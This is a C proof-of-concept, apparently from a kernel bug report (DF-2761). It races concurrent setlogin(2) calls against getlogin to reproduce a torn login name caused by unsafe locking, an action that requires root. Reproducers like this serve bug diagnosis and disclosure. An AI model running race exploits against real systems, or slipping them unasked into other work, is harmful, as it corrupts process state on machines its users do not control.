DF-2761 / setlogin_race.c
/* DF-2761: sys_setlogin mutates s_login under a SHARED p_token * (kern_prot.c:1290-1292) so two concurrent setlogin(2) calls can interleave * their 32-byte memcpy, and a concurrent getlogin(2) can observe a torn * login name. Root-gated (SYSCAP_NOPROC_SETLOGIN). */ #include <stdio.h> #include <string.h> #include <pthread.h> #include <unistd.h> #include <sys/param.h> static volatile int stop; static long torn, reads; static char tbufA[MAXLOGNAME], tbufB[MAXLOGNAME]; static void *writerA(void *x){ (void)x; while(!stop) setlogin(tbufA); return NULL; } static void *writerB(void *x){ (void)x; while(!stop) setlogin(tbufB); return NULL; } static void *reader(void *x) { char buf[MAXLOGNAME]; (void)x; while (!stop) { memset(buf, 0, sizeof(buf)); if (getlogin_r(buf, sizeof(buf)) == 0 || 1) { int a = 0, b = 0; size_t i; for (i = 0; i < sizeof(buf) && buf[i]; i++) { if (buf[i] == 'A') a = 1; if (buf[i] == 'B') b = 1; } reads++; if (a && b) { torn++; if (torn <= 5) fprintf(stderr, "[+] TORN LOGIN OBSERVED: %s\n", buf); } } } return NULL; } int main(void) { pthread_t wa, wb, rd; memset(tbufA, 'A', sizeof(tbufA)-1); tbufA[sizeof(tbufA)-1] = 0; memset(tbufB, 'B', sizeof(tbufB)-1); tbufB[sizeof(tbufB)-1] = 0; printf("[*] racing setlogin(A*32) vs setlogin(B*32) with concurrent getlogin\n"); pthread_create(&wa, NULL, writerA, NULL); pthread_create(&wb, NULL, writerB, NULL); pthread_create(&rd, NULL, reader, NULL); sleep(5); stop = 1; pthread_join(wa, NULL); pthread_join(wb, NULL); pthread_join(rd, NULL); printf("[*] %ld reads, %ld torn (mixed A/B) observations\n", reads, torn); printf("[%c] %s\n", torn?'+':'-', torn ? "TORN NAMES REPRODUCED" : "no torn name observed this run"); return torn ? 0 : 1; } |